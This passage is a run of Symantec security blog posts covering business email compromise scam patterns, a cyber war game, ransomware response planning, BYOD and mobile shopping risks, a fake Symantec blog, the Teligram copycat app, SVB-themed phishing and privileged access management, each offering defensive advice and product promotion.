Personal/work cellphone number request for further payment instructions: The scammer asks the potential victim to provide their personal/work cellular number so that the scammer can text payment instructions via messages.
Figure 6. Sample email asking for victims number to which to text payment instructions
Same-day wire payment: The scammer asks the potential victim about the same-day wire payment process.
Figure 7. Sample email instructing same-day wire payment
Probing for international transfer limit: The scammer probes the potential victim for the daily limit on international transfers.
Figure 8. Sample email asking about international transfers
Set up payment for vendor/supplier: The scammer instructs the potential victim to set up a payment for vendor/supplier.
Figure 9. Sample email instructing payment setup
Salary issue (direct deposit/salary account assistance): The scammer tells the potential victim that there has been an issue with a direct deposit or a salary account, and that they need to update their account details.
Figure 10. Sample email requesting assistance on a payroll/salary issue
Urgent payment needed while in a meeting/conference: The scammer demands an urgent payment while they are unable to receive calls as they are supposedly in a meeting/conference.
The future of BEC
BEC scams are said to have begun with the hacking or spoofing of CEOs' or CFOs' email accounts, with scammers sending fraudulent emails typically to a company’s finance department an' tricking employees into making wire transfer payments. A combination of email spoofing, computer intrusion, and social engineering is required to pull off this type of scam.
These scams have been constantly evolving, with scammers getting craftier and growing more sophisticated each year. This year alone, we have seen Facebook and Google getting defrauded of $100 million; Chinese fraudsters stealing $18.6 million from the Indian arm of an Italian engineering company; and BEC gangs expanding geographic targets and identifying new victims, such as universities, the Salvation Army, and Boy Scouts of America. Even a small church in Ohio was not spared.
What lies ahead for BEC scams? As artificial intelligence (AI) and machine learning (ML) become more developed, we may very well see BEC scammers adopting these technologies in the near future to make their attacks even more convincing. Both ML and AI could be used to power audiovisual "deepfakes" that target or impersonate C-Suite executives. Already we have seen deepfakes that use only audio, as it is easier to leverage than both audio and visual elements.
A BEC scammer using ML/AI could target an organization's senior financial executive or employee who has direct access to the CEO and who could authorize money transfers. When the employee tries to verify the request, the scammer might use audio featuring the CEO—such as earning calls, YouTube footage, TED talks, and other previous recordings—to fool the employee into believing it is indeed the CEO's voice on the other end ordering the transfer. The employee could then execute the request fully believing it was legitimate. While this is a scary prospect, future BEC scam scenarios may just play out this way.
Mitigation
Symantec recommends the following best practices to protect your organization from BEC scams:
Submit BEC samples to help improve protection against these scams, as sharing information allows organizations to quickly detect and stop these attacks.
Question any emails requesting actions that seem unusual or aren't following normal procedures.
Don't reply to any emails that seem suspicious. Obtain the sender's address from the corporate address book and ask them about the message.
Use two-factor authentication (2FA) for initiating wire transfers.
Conduct end-user awareness training to raise overall awareness of BEC scams among employees.
Keep employees educated on the latest threats so they remain vigilant against dangers in their inboxes, which is still the primary means of communication in corporate settings.
Deploy BEC controls that include automated email sender authentication and impersonation controls that monitor susceptible employees' emails.
Isolate the threats quickly to prevent them from infecting individual machines or the network.
Analyze potential threats using analytics technologies that can pick up on the subtle differences between clean and infected emails and identify indicators of compromise.
Use digital signatures that prove the authenticity of an email sender. Have your executives, such as the CEO, use digital certificates to sign messages and ensure that recipients question emails appearing to come from their CEO when they are not digitally signed.
Protection
Symantec customers are already protected from BEC scams with the following solutions in place:
Symantec Email Security.cloud Data Protection provides granular control to identify suspicious messages based on various indicators and helps to flag messages that are coming from outside the organization.
Symantec Data Loss Prevention helps combat the data theft BEC scenario by seamlessly integrating with our Email Security solutions to detect emails containing sensitive information such as personally identifiable information (PII) that should not leave the organization.
Business Email Scam Analyzer, a component of the Email Security.cloud Anti-Spam service, is an additional spam detection method that provides increased visibility into attacks that are related to BEC.
Special thanks to Vijay Thaware for his inputs on this blog.
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Behind Closed Doors with the National Security Council
A cyber war game gets played out in front of RSA attendees, underscoring the challenges decision-makers would face if a hostile nation launched a serious cyber attack
Think your job is a challenge? Try being a crisis manager inside the National Security Council scrambling to keep up when these headlines cross the transom:
United States intelligence services uncover new military dimensions to Iran’s nuclear weapons program.
Tehran’s leadership refuses all access to weapons inspectors.
The Trump administration plans to withdraw from the 2015 agreement the US signed to ensure Iran’s nuclear program would be exclusively peaceful.
The administration says it will reinstate sanctions and warned of unspecified “military remedies.”
Iran claims the right to consider pursuing a nuclear weapons program and reaffirms its right to continue the development of long range ICBMs.
RSA attendees got a chance to hear from former government officials how they might respond to this kind of shifting war game scenario. It provided a rare opportunity to see how decision makers would go about managing an escalating security crisis that involved both cyber and so-called kinetic attacks on people and property.
In this particular war game scenario, US financial and critical infrastructure targets were being hit by repeated cyber attacks. Participants in the crisis described a pressure-cooker atmosphere at the National Security Council where rapid response measures would need to get decided with the participation of other arms of the government amidst sometimes conflicting and incomplete information.
And then things go from bad to worse.
While the hotlines between the world’s capitals were buzzing, a series of major cyber attacks get launched against the US.
Financial institutions report the theft of $1.5 billion.
Confidential documents belonging to Congress as well as to major US-Israel interest groups get hacked and leaked to the press.
US intelligence agencies suspect the involvement of Iran’s Islamic Revolutionary Guard Corps. but cannot confirm their information.
Working off a pre-determined plan, decision-makers would now find themselves improvising as new data landed on their desks.
“We would dust off our incident response playbook but we wouldn’t be limited by the playbook,” said John Carlin, a former Assistant Attorney General for the U.S. Department of Justice's (DOJ) National Security Division. He described a non-stop communications thread between the State Department, the Defense Department, the Department of Homeland Security and state and local governments in a bid to start deploying assets.
Meanwhile, the government’s initial response would also involve reaching out to Congress to provide asset response assistance – including help eliminating any malicious actors attacking cyber networks, said Suzanne Spaulding, a former Under Secretary for the National Protection and Programs Directorate (NPPD) at the Department of Homeland Security.
But this is a highly fluid situation, where military considerations would get intertwined with cyber security concerns and speed being a priority.
“We’ve always been too conservative about attribution. I think we’d need to be more forward-leaning and that it’d be safe to assume it was the IGRC,” said Eric Rosenbach, who served as Chief of Staff to former Secretary of Defense, Ashton B. Carter during the Obama administration. “Should it matter who gave the order? I think it does matter because it will help us calibrate our response. We would have to make sure that senior Iranian leaders understand that escalation is happening quickly and if they want to continue, they’ll need to think very carefully about that.
“In the past,” he continued, “the Iranians have been very successful at getting into DOD networks. We can’t just sit back and watch these guys attack us. We need to make sure they understand it will be a costly effort if they continue to attack the US.”
At this stage, Rosenbach said it would be reasonable to expect the Iranians to try and test the White House to gauge whether the administration was ready for outright war.
But this is a highly fluid situation, where military considerations would get intertwined with cyber security concerns and speed being a priority.
Crisis in Spades
Meanwhile, a new intelligence bulletin just came through ratcheting up the crisis: The US has now positively attributed the reported cyber actions to private contractors tasked by the IRGC.
Other new information includes the following:
New cyber intrusions attack Israeli critical infrastructure assets
A cyber attack against the LA subway system has resulted in a train crash. Unconfirmed media report fatalities.
US intel now believes Iran may have access to other metropolitan transport systems in the US.
The latest information would confirm the fact that this is an armed attack against US, according to Rosenbach. “All the facts line up and there’s death and significant economic consequences.”
While teams worked on providing a list of options to the White House, the Pentagon by this time would have identified a set of assets belonging to Iran and recommended retaliatory strikes.
“This is strategic signaling,” said Rosenbach, who said the strikes would be intended to send a very clear message. “It’s basic deterrence theory. If your initial attack is weak, there will be others.”
And this is just Day 1 in what could be a multi-day or longer coordinated response. In any case, the session was a great reminder of the importance of scenario planning as part of maintaining a good security posture.
Join Symantec at RSA Conference 2018 Booth #3901 North Expo Hall. Click Here for the schedule and follow @Symantec on Twitter for highlights.
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Behind the Broadcom-Accenture Deal of Cyber Security Services (CSS)
Focusing on the Future
It is cliché to point out that business is all about change. But as we’ve seen over the years, the most successful companies are the ones that pivot in new directions to best meet the needs of their customers. Nowhere is that more true than in the cyber security industry.
Broadcom’s recent announcement of the sale of its Symantec’s Cyber Security Services (CSS) business inclusive of Managed Security Services, DeepSight™ Intelligence, Incident Response and Managed Adversary and Threat Intelligence, to Accenture Security offers a practical demonstration of that thinking.
Managed security services providers need to excel in cyber security, a critical business imperative for all organizations, no matter their industry or geographic location. With the acquisition of CSS, Accenture, already a global provider of managed security services, is adding extraordinary new capabilities to help organizations rapidly anticipate, detect and respond to global cyber threats.
With a relentless focus on innovation, Symantec built up CSS - to include a market-leading set of security services assets to protect customers from threat actors old and new. We built something unmatched anywhere.
This is a great marriage where each partner gets to concentrate on what it does best. Accenture was born out of the professional services and consulting industry. With the addition of CSS, Accenture Security vaults to the front of the line when it comes to offering customers a set of unparalleled managed security services. At the same time, it allows Broadcom, whose core is very much that of a product company, to double down on the Symantec Enterprise Division’s portfolio including Endpoint, Web, Information and Identity Security and what we do best: developing great technologies. That’s why this deal between Broadcom and Accenture Security makes so much sense for both partners.
The outcome is a win for everyone, but especially CSS customers, who benefit from the distinct services focus that Accenture provides. Indeed, Accenture will shift more investment into CSS services.
Fighting cyber crime requires a divide and conquer – and Broadcom and Accenture will continue to focus on equipping customers with the best protection possible. Accenture and Broadcom will be able to invest and lead in parallel – and both deliver the awesome protection organizations have come to expect.
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Best Practices in Targeted Ransomware Attacks
Against the backdrop of increasing attacks, here’s how to prepare with a bold response playbook and ransomware jump kit
Soon after Symantec released its July 2019 white paper documenting a 400% increase in targeted ransomware attacks over the past two-and-a-half years, a colleague came to me with a tough question about prevention. Apart from following basic security protocols like updating software and installing the file-based ransomware barriers listed in the report, she asked, ”Can companies avoid being targeted in the first place?”
Sadly, my answer was unequivocal: “No. We haven’t cracked the criminals’ minds and so can’t predict what motivates emergent ransomware gangs such as GoGalaker and Megacortez to target one organization over another. But, considering the current ransomware attack rate of 50 enterprises a month, plenty of corporate teams could be better prepared.”
At the most basic level, every enterprise IT team should have a prepacked jump kit with everything they need to restore their data and get their applications working again—critical ransomware recovery functions. This jump kit must contain credential information that could become encrypted by ransomware. The team should also invest time in testing their restore procedures. The only defense against ransomware is having a correct backup and restore procedure in place. Period.
Time and again, when confronting a cyber security crisis, business managers clash with IT professionals, and everybody wastes valuable time debating and seeking approvals for remediation steps that could have been authorized in advance.
Most organizations have trouble prioritizing preparation for a doomsday scenario, but as an emergency incident responder I’ve seen companies suffer horrible losses because their teams lacked a formal, actionable incident response plan with a ransomware playbook. Time and again, when confronting a cyber security crisis, business managers clash with IT professionals, and everybody wastes valuable time debating and seeking approvals for remediation steps that could have been authorized in advance. Meanwhile, as Symantec has seen in several recent incidents, the attackers have used stolen credentials to disable security software, mapped the organization’s entire network, and, using batch files, have spread ransomware across multiple computers. At that point, and this is incredibly rare based on my experience with ransomware attacks, only proper advanced monitoring and alerting could possibly detect the ransomware before it begins its encryption routine.
While there are certainly no fail-safe solutions for ransomware, or most things in life, I offer three experience-based suggestions:
1. Formalize a ransomware response playbook, which is supported by the higher-level incident response plan.
The most forward-thinking ransomware playbook ideas switch the decision-making power from top-level executives to the IT team and/or the system/data/application owners. Although corporate leaders will be naturally reluctant to accept this suggestion (and mightily resistant to put it in writing), when ransomware begins propagating a company’s network, it’s imperative that the IT leader have instant authority to take immediate remedial actions—by default. As illustrated above, unless the IT leader has independent agency in quarantining and disabling affected assets, the company will lose ground and the attack will spread. Charge the same technical leader with the responsibility for communicating to the business leaders and stakeholders a timeline of actions that includes what happened, why and how they responded, and the anticipated impacts.
Our ransomware white paper should also be required reading for anyone serious about formalizing response protocols. It offers more than a dozen ransomware mitigation measures (including the use of Symantec’s File Server Resource Manager, which blocks ransomware extensions from share files), and includes seven file-based protection tools that are available to all our customers. Symantec has also outlined in a previous post why companies should refuse to pay ransomware demands.
2. Design a defensive network.
Many of Symantec’s enterprise customers have relatively flat networks, and there are good reasons for that. Relatively flat networks are inexpensive, easy to manage, and allow everyone in the company to access resources anywhere with a simple set up.
But, all of those advantages become serious detriments if ransomware begins infiltrating your network. Given the current threat landscape, organizations might revisit the idea of network segmentation. By creating subnetworks and VLANs within the larger environment, you will improve overall security and gain capabilities in quarantining isolated zones. You might, for example, create a subnetwork that provides point-to-point links only among admin-specific machines and devices—favored targets for phishing and other schemes used in stealing credentials.
3. Assess your readiness and understand your vulnerabilities.
Finally, I recommend self-evaluation and commitment to continuous process improvement. This can be done internally or could include investing in an expert analysis of your organization’s cyber security situation. Symantec’s Incident Response retainer services include an annual Incident Response Preparedness Workshop. I’ve led several such sessions and have found them a gentle and relaxed venue for clients to learn how to capture and collect data relevant to a possible threat, and a chance to run through hypothetical crisis exercises. We conclude every workshop with a statement that sums up the client’s current security capabilities and identifies areas for possible improvement.
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Better BYOD: It’s All about Behavior
Since there is no escape from BYOD, the charge to enterprises is to make it as secure as possible. Here’s what to do
When corporate and personal systems get intermingled, it often results in unexpected trouble.
Case in point: Hackers targeted an employee of one of South Korea’s biggest Ethereum and Bitcoin cryptocurrency exchanges, who was using his personal computer to access the corporate network. After breaking into his machine, the cyber criminals stole personal information relating to more than 31,000 customers.
Incidents like these underscore the security concerns IT raises when organizations allow their employees to bring their own devices to work (BYOD). But despite any headaches it occasionally causes, BYOD nonetheless offers companies plenty of benefits.
For instance, when employees buy their own devices, companies can support 2,745 tablets with the same budget it would take to buy and support only 1,000 corporate-owned tablets. Similarly, BYOD can save a company between $300 and $1,300 per employee. At this point, according to Gartner, only 23 percent of employees are given corporate-issued smartphones these days. The rest are, presumably, using BYOD devices. Add it all up and it’s clear that BYOD isn’t going anywhere.
Since there is no escape from BYOD, the charge to enterprises is to make it as secure as possible. So, what’s the key to better BYOD? In a word, behavior. I recently caught up with Brian Duckering, senior manager for product marketing at Symantec for a chat about how to do BYOD better. Here are some tips from our conversation.
First on the agenda is education. No matter how frustrated you have become with user behavior, you can’t give up. You have to keep impressing upon users what they must watch out for, knowing full well that inevitably, someone will open a bad attachment, reply to a bogus email address, or allow their mobile device to be stolen.
“Keep your device up to date. Practically every OS update includes a security patch. Install every update as soon as possible, says Duckering. When updates are sent out, hackers know what to target and where to find it – on unpatched systems.
“Be careful what you click on. Popups and the sites they take you to are getting more authentic-looking all the time,” he says. If there is a new version of software from Adobe, say, don’t click on a popup, but go to the Adobe site yourself to get it. In short: Don’t click on anything you can’t absolutely trust.
Second consideration to pay attention to: Technology. Security technology is essential to protect end-user devices, but, again, behavior is key.
“If I have to take extra steps or it impacts the performance or battery life, I’m probably not going to comply,” says Duckering. There is no sense in installing security software on a smartphone if it causes the battery to run out of juice. And if a user has to log into a VPN, proxy or gateway to do basic things, the user probably won’t do it. Result: Either users will not use their devices and become less productive, or they will find a way around the obstacle.
Technology that focuses on behavior, not only of users, but of the BYOD devices themselves, can yield big benefits. Symantec Endpoint Protection (SEP) Mobile (formerly Skycure), implements behavioral analytics to track suspicious patterns. Let’s say you install an app that is 99.8% identical to a well-known app. Why isn’t it 100% identical?
“The difference might be a tipoff that it’s been tampered with and you can’t trust it,” says Duckering.
Or let’s say that hackers are trying to root a device and they are causing an internal process to crash and restart. “It might not be noticeable to the end user, but repeated crashes and restarts of internal processes can be noticed by machine learning software and flagged as suspicious,” he notes.
SEP Mobile also implements crowdsourced intelligence, which enables it to tell you immediately if a patch is available for your device. As Duckering notes, “we can tell you if there is a patch available from Apple before Apple will tell you.”
Doing BYOD right will keep your company’s workforce happy and its data secure.
For better BYOD, education is a first step. But users do the darnedest things. And thanks to human nature, they’ll keep doing them. Scanning your mobile and BYOD infrastructure for anomalies is essential. To do that, you need the best tools on your side – like the behavioral analytics of SEP Mobile.
If you found this information useful, you may also enjoy:
Cloud Generation Endpoint Security – Protect Your Users Everywhere and On All Devices
IT Modernization and the New Perimeter
Symantec: BYOD Resource Center
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Beware: Holiday Shopping May Be Hazardous To Your Mobile Device
As people visit the malls and search online for deals this December, cyber criminals are finding creative ways to compromise your smartphones to steal personal data
Cyber criminals know to target large and vulnerable populations, and what better target group of victims is there than holiday shoppers?
The 2017 holiday shopping season may be the riskiest ever to your smartphone. More online shoppers are using their mobile phones (46%), more money is spent on digital advertising than ever before ($209B in 2017), and even when shopping in brick and mortar stores 77% of shoppers use their mobile devices. And one of the easiest ways for hackers to compromise your device or steal your data is through the Wi-Fi networks you connect to – and when shopping that means malls.
Symantec analyzed mobile incident data from in and around the 30 most visited malls from Q3 of 2017 (July through September) and found that Wi-Fi networks used by customers at Fashion Show Mall in Las Vegas were shown to be the riskiest Wi-Fi networks amongst the most visited US malls, with almost 54% more incidents than second place Houston Galleria. Incidents include networks found inside the malls and also in the area surrounding each mall by less than a mile.
Mobile devices are making our lives so much easier in many ways – easier to communicate, easier to manage and access information, and easier to shop. Unfortunately, cyber criminals are making all of these activities riskier every year, constantly finding creative ways to steal and expose sensitive data, and exploit that information for their own gain.
Risky Wi-Fi comes in various forms. Some are simply misconfigured so communications are not sent securely, like a “Dennys_Guest_WiFi” in Del Amo Fashion Center, while others are deliberately misleading to steal your data. Near MetroTech in Brooklyn, New York, someone apparently set up a fake Wi-Fi hotspot called Apple Store – nowhere near an actual Apple Store – so that any device in the area that previously connected to a real Apple Store Wi-Fi will automatically connect to this hotspot where the hacker can view all of its communications.
One of the easiest ways for hackers to compromise your device or steal your data is through the Wi-Fi networks you connect to – and when shopping that means malls.
No Bargains Here
Shopping online can be hazardous as well, as shoppers search for deals and install store apps or apps that promise discounts at your favorite stores.
In our data, we found several types of misleading and potentially dangerous apps. We encountered repackaged apps that look and behave exactly like the real store app, but has additional malicious code injected. We also saw completely fake apps promising rewards, but from stores that don’t have such an app. Other shopping oriented apps have contained Trojans, like Wroba, designed to steal user data.
But not all the news is grim.
Although many shoppers will not be thinking about security while stressing about finding the perfect gift, there are things you can do to reduce the risk of getting caught in one of these attacks. In fact, the report identifies the top 8 safety tips for shoppers.
For example, avoid any Wi-Fi that uses the word “Free” in the name, as ten percent of malicious Wi-Fi networks use that word to lure victims.
Be sure to only install apps from the official App Store or Google Play. While that is not a guarantee to avoid malware, you are much safer doing so than installing off of websites or from emails.
Also, always update your mobile operating system to the latest version to be sure all known security vulnerabilities are patched.
Of course, the best thing you can do to protect your mobile device and all of your sensitive information is to install the leading mobile threat defense solution.
Check out the Mobile Holiday Shopping Report to learn all about the risks shoppers face while shopping and how to go about protecting your mobile devices, including the top 8 safety tips for shoppers. Enterprise IT security admins should be aware that all of their employees may potentially expose their organizations to the prying eyes of hackers, simply by shopping.
File Attachments
Download Full Report HerePDF1.12 MB
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Beware of Fake Symantec Blog
Be aware it is attempting to spread OSX.proton malware
A malicious website has been discovered that mirrors Symantec blog content, attempting to spread OSX.proton malware by tricking readers into clicking on infected pages.
The website, located at symantecblog[dot]com, points readers to fake security software described as the “Symantec Malware Detector” that claims to detect and remove infections caused by a new variant of the CoinThief malware.
Users who click on the link download OSX.Proton, which is a Trojan horse that opens a backdoor, steals information, and downloads potentially malicious files onto the user’s computer.
Symantec’s legal and brand protection team is aware of the situation and working toward a resolution. Symantec has added detections for OSX.Proton to Norton and Symantec products.
Resources:
Tips: https://us.norton.com/internetsecurity-malware-what-are-malicious-websites.html
Information on OSX.Proton : Click here to learn more.
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Beware of Open Source Projects on Google Play
While open source projects can be beneficial, criminals can also take advantage of them to create shady versions of familiar apps.
The Google Play Store has lots of legitimate applications which are open source projects, some of which are very popular. Taking advantage of these open source projects is an easy way for unscrupulous Android developers to create malicious applications and gain a lot of attention fast.
Open source describes software that is freely available to everyone to use, modify, and improve. In terms of security, it's a double edged sword. On the one hand, the transparency of open source means that flaws can be quickly found by other developers and fixed. But on the other hand, the transparency of open source means that flaws can be quickly found by the bad guys and exploited.
Another risk that can arise from open source projects is imitation. Criminals can use the open source code for an application and create an almost identical one but with some potentially malicious differences.
Teligram app
Symantec recently found an application named “Teligram [NEW VERSION UPDATED]” on the Google Play Store which is based on the official open source instant messaging app Telegram. The only differences, at least at first glance, are the (mis)spelling of Telegram, with an “I” replacing the second “e”, the bracketed addendum “[NEW VERSION UPDATED]”, and a slightly different app icon. These differences are an attempt to trick users into thinking the app is the latest updated version of the legitimate Telegram app.
"There’s no “I” in Telegram: Dodgy app looks like legitimate version but with some shady extra features http://symc.ly/2ANPSAF"
CLICK TO TWEET
The screen style and app description used by the Teligram app on Google Play are identical to the legitimate app and it even functions as an instant messaging app. However, in the background, Teligram has added advertisement libraries to the open source code in order to make money.
The apps’ pages on Google Play are very similar with the only differences being a slightly modified icon and name (Figure.1).
Figure 1. The legitimate Telegram (left) and Teligram (right) app pages on Google Play
The apps’ description pages on Google Play are identical apart from the Telegram name being changed to Teligram (Figure.2).
Figure 2. The Telegram (left) and Teligram (right) app descriptions on Google Play are identical
Once installed, it becomes more difficult to tell the difference (see Figures 3 and 4).
Figure 3. A slightly modified icon and minor color changes are the only differences between the legitimate (left) and fraudulent (right) apps
Figure 4. A black “START MESSAGING” button is the only telltale sign here
Comparing the apps’ manifests reveals that Teligram has added advertising libraries in order to create revenue for the fraudsters behind the deceptive app.
Figure 5. Teligram’s manifest (right) contains ad libraries, Telegram’s (left) does not
Teligram displays advertisements in two different ways, within the chat list and by showing intermittent full screen advertisements (Figure.6).
Figure 6. Teligram shows ads in the chat list and displays full screen ads
Google has removed the Teligram app from the Play Store.
Malware built on Telegram open source code
We also detected a malware sample built using the open source Telegram code, which is distributed on third-party app stores (detected as Trojan.Gen.2). The malware uses the same package name (org.telegram.messenger) and icon as the official Telegram app but requests more sensitive permissions and has added malicious receivers and services (see Figure.7).
Figure 7. Malware built using Telegram open source code requests more sensitive permissions (right)
While open source projects can be of huge benefit to developers and consumers, they can also be used by criminals to create convincing imitations of trusted apps.
Once installed and launched, the malware decrypts a URL from a byte array. It then downloads an external JAR or DEX file from the URL and invokes the payload, which can enable the malware authors to carry out a variety of actions, such as installing a backdoor or an ad clicker.
Compared to this malware, Teligram users are lucky as advertising revenue appears to be the main motive behind the app. Although no malicious behavior has been added to Teligram, its developers could potentially add any behavior they wish.
While open source projects can be of huge benefit to developers and consumers, they can also be used by criminals to create convincing imitations of trusted apps. Users should take care to ensure the app they are downloading is exactly what they think it is.
Protection
Symantec has the following protection in place to protect against the malware mentioned in this blog:
Trojan.Gen.2
Mitigation
Before installing applications, especially for open source projects, be sure to confirm they are official by checking the following:
Developer name. The developer’s name is listed on the download page for the app on the Google Play Store. Do an internet search for the official creator of the app and make sure the developer name matches up with what is shown on Google Play.
Comments. Check the comments section on the app’s download page. If the app has any suspicious functionality or doesn’t perform in a similar manner to the real app users will tend to leave negative feedback here.
Ratings. Although fake apps can receive high ratings, the number of ratings tend to be much lower than the legitimate version.
Users can also stay protected from mobile malware by taking these precautions:
Keep your software up to date
Do not download apps from unfamiliar sites
Only install apps from trusted sources
Pay close attention to the permissions requested by apps
Install a suitable mobile security app, such as Norton, to protect your device and data
Make frequent backups of important data
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Beware SVB Scams
The collapse of Silicon Valley Bank creates opportunities for scammers
Last week saw the collapse of two US banks. Silicon Valley Bank (SVB) collapsed on Friday (March 10th), with Signature Bank following suit on Sunday (March 12th). On Monday, the UK Chancellor shared the news that HSBC has bought the UK arm of SVB for £1, providing stability for customers, and on the same day the US Reserve has made assurances to US customers. It is highly likely that this turmoil in the financial sector will result in an increase in cyber-attacks and fraud, as criminals seek to exploit the very human emotions of fear and hope surrounding their finances.
At Symantec we are continually vigilant against evolving cyber-attacks. We already see signs that scammers are looking to exploit this event. This is what we expect will happen and how you can protect yourself.
A typical scam / fraud delivered by email is likely to involve these steps:
The attacker will look to exploit existing, legitimate email domains. Attackers will be looking to impersonate financial organizations, regulators or other ‘trusted’ brands. To combat this, the email domain owners can use sender authentication techniques to limit who can send email using that domain - and this information can be used by receiving email gateways to block or allow messages. There is a risk that some email domains have not been fully secured in this way.
The attacker will use newly created email or web domains. To bypass the security layer above, we expect to see attackers create new email or web domains that appear to be legitimate. Symantec threat research teams have already seen a number of new websites and domains being created (featuring ‘svb’, which indicate that infrastructure is being created to support phishing campaigns)
The attacker may decide to impersonate a legitimate sounding email address. We may see attackers creating something like SVBsecurity or HSBC_transfer. These can be hard to spot, so it is highly recommended that end-users be reminded to look at the full email domain that has been used in emails they receive.
Business Email Compromise and scams rely on a mixture of convincing content, urgency (playing on hopes and fears), and action that involves providing normally withheld information or a financial transaction. Sometimes you will be asked to sign into your account from a link or to phone someone using a phone number contained in the email. These are some of the most common warning signs.
It is also likely that the attacker will be relying on the overall disruption facing these banks, so even if customers realize they may have become victim of fraud, there may be a delay in taking action to limit the fraud or catch the attackers.
So, what can you do about this?
Email Security Teams
First, be vigilant against the very real risk that your organization could be a target of fraud.
Ensure that your email security settings are such that they will block email that fails sender authentication standards.
Switch on email impersonation detection to flag suspicious email, especially those impersonating financial institutions that have been recently in the news.
Ensure anti-phishing protection is in place (eg URL scanning, web isolation etc).
Alert end users about the risks of phishing emails and BEC attacks.
Remind staff that they shouldn’t rush to take action based on information sent to them by email, or even received by phone. Recommend that for such requests, users step back and ask, “is this something I would expect my bank / customer / supplier to ask?”
Highlight to users the ‘red flags’ to look out for such as look alike email addresses, poor grammar, urgency to act, an out of character request and to hover over links so the full web address can be inspected. If they have concerns, they should stop and report the contact.
Establish an incident response system so any end user can immediately report suspicious requests - and the appropriate remedial response can be taken (alert others, work with the financial team to recover losses from fraud etc).
Finance Departments
We also recommend that business - and in particular finance teams - review their approval processes to ensure there are appropriate and independent approval processes concerning the creation and changing of account details (including within the supply chain).
With the risk of Business Email Compromise attacks and fraud being high, it is vital that you verify any contact details, links, or phone numbers. Call the sender back using the trusted contact details you already hold on record (for example on a recent bank statement), or contact your usual bank representative. Hover over any links in an email to see the full address before clicking.
Symantec Email Security customers already benefit from protection against these types of attacks:
Sender Authentication protection - emails that originate from unrecognized sender sources will not be delivered (this depends on the sending organization having an approved sender list)
Email Impersonation - identifies look-alike email domains and takes action
Email Fraud - built in analyzers scan email content for phrases, grammar and spelling clues that indicate fraud.
Phishing attacks - are blocked on delivery and at click time, drawing on Symantec’s Global Intelligence Network (GIN) block access to dangerous links. Symantec’s GIN takes threat data from endpoint, web, cloud security and email to provide a holistic view of threats.
Email Isolation - ensures that lower risk weblinks are isolated to stop users from downloading malware or giving up sensitive information.
For more information about Symantec Email Security.cloud visit our website.
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Beware the Fake Apps: They’re Out to Steal Your Data
New threat aware data protection technology protects users from stealth data theft by compromised apps
Every day the cyber world becomes a more dangerous place, as cyber criminals and hackers devise new ways to steal corporate secrets and threaten business operations. Consider this:
The number of successful cyber breaches per company has risen more than 27 percent, from an average of 102 to 130, according a study by the Ponemon Institute.
A successful cyber attack costs an organization $3.86 million, according to another Ponemon study.
One in 13 web requests leads to malware, according to the latest Symantec Internet Security Threat Report.
New malware downloader variants have increased by of 92 percent, the Symantec report also found, making it more difficult for enterprises to protect themselves from evolving threats.
The upshot: It’s harder than ever for companies to stay safe from cyber breaches. It needn’t be that way, though. Symantec’s Threat Aware Data Protection can guard data against all those threats and more. In this blog, I’ll detail the latest dangers and describe how Threat Aware Data Protection can keep your company’s data safe and secure.
The Dangers of Fake Apps and Beyond
Organized cyber criminals, state-sponsored hackers and other bad actors intent on industrial espionage use executable apps and highly sophisticated malware that can bypass normal types of cyber-protection.
They’ve devised a dizzying array of fake apps disguised as legitimate apps to sneak into corporate networks and exfiltrate data. Users download these unauthorized apps to their devices when they don’t have the right software to do their jobs, often productivity tools such as PDF mergers and splitters, calculators, video capture and editing tools, and others. Not to mention all the insecure apps they download for personal use, such as video chatting, calendars, media downloading, file transfer, faxing, etc. Once the apps are launched, they can collect and steal sensitive data in the background without being noticed.
People also get infected without knowing they’re even installing malicious software. They click a link, which downloads and installs malware without their knowledge. In other cases, people click email attachments, which unleashes hidden malware. And in some particularly pernicious attacks, someone downloads a file such as a Word document with macros that triggers PowerShell to run malicious code.
A good multilayered endpoint security solution helps detect and block many malicious apps and advanced malware, but by itself can’t always detect and block surreptitious data theft. For example, stealthy malicious software such as Infostealer trojans, once installed, establish backdoors to gather and exfiltrate confidential information from compromised computers and send it to pre-determined locations. The malware can stay dormant on an endpoint until the attacker slowly exfiltrates data using a command-and-control connection.
How Symantec Threat Aware Data Protection Keeps You Safe and Secure
Symantec Threat Aware Data Protection uses powerful endpoint security technologies and advanced machine learning techniques to stop these kinds of attacks. First, it relies on data loss prevention technology to accurately identify sensitive data. At the same time, it monitors the data access activity of applications that appear to be suspicious or that are totally unknown, while letting the legitimate corporate applications run without interruption. If the monitored applications get near sensitive data, the solution immediately protects the data by blocking access, sending notifications, encrypting it or even applying digital rights to the content.
This is particularly important in protecting against targeted attacks such as those used in industrial espionage in which malware is crafted to go after a specific organization. This kind of malware is often used to steal government secrets and attack financial services companies. There’s been a continuous increase in these kinds of attacks over the last year — and Symantec Threat Aware Data Protection stops them in their tracks by making sure no suspicious applications can be used to steal an organization’s vital information.
Using these tools, Symantec Threat Aware Data Protection combines industry-leading data loss prevention with endpoint protection to protect companies from stealth data theft. Powered by the world’s largest civilian Global Intelligence Network (GIN), it’s a first-of-its-kind endpoint security solution that delivers threat aware data protection and provides the ability to stop malicious, suspicious, and unknown apps from seizing control of endpoints and stealing sensitive information.
Click Here to Learn More About Symantec Threat Aware Data Protection
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Beyond The Vault – Where to Take Your PAM Implementation Next with Symantec
What are the critical capabilities that you should be implementing next and why?
Many data breaches and insider attacks exploit privileged accounts and credentials. This is not surprising when you consider that privileged identities have elevated access to the most sensitive resources and data in your environment; they literally hold the keys to the kingdom. As the role of compromised privileged accounts and credentials has become clear, regulatory bodies and auditors have focused their attention on controls that organizations must implement to mitigate these risks. As a result, privileged access management (PAM) has been a hot technology for the past few years.
The first capability that most organizations deploy is the privileged credential vault. Removing shared passwords from the hands of multiple users and putting them into an encrypted data store yields significant benefits, including but not limited to enforcing policy-based access control over which credentials a privileged user may access; monitoring all privileged activity and linking that activity back to an individual user; and rotating these credentials automatically on a periodical basis to comply with security mandates. But is this enough? Where should organizations evolve their PAM deployments next?
Symantec, a division of Broadcom Software, suggests the following critical capabilities that will complement your privileged credential vault.
Verification through Strong Authentication
Multifactor authentication is being mandated by many industry and regulatory laws for privileged access. Because this is not natively supported in many systems, PAM tools are often used to implement this capability by requiring users to present this level of credential before granting access to privileged credentials stored within their vaults.
Symantec PAM supports a wide range of MFA credentials, and can even provide them to organizations that do not already have a solution through Symantec VIP. Symantec VIP is a leading user-friendly, cloud-based, strong authentication service that provides secure access to sensitive data and applications anytime, anywhere, from any device enabling a critical piece of your Zero Trust security strategy.
Accountability through Session Recording
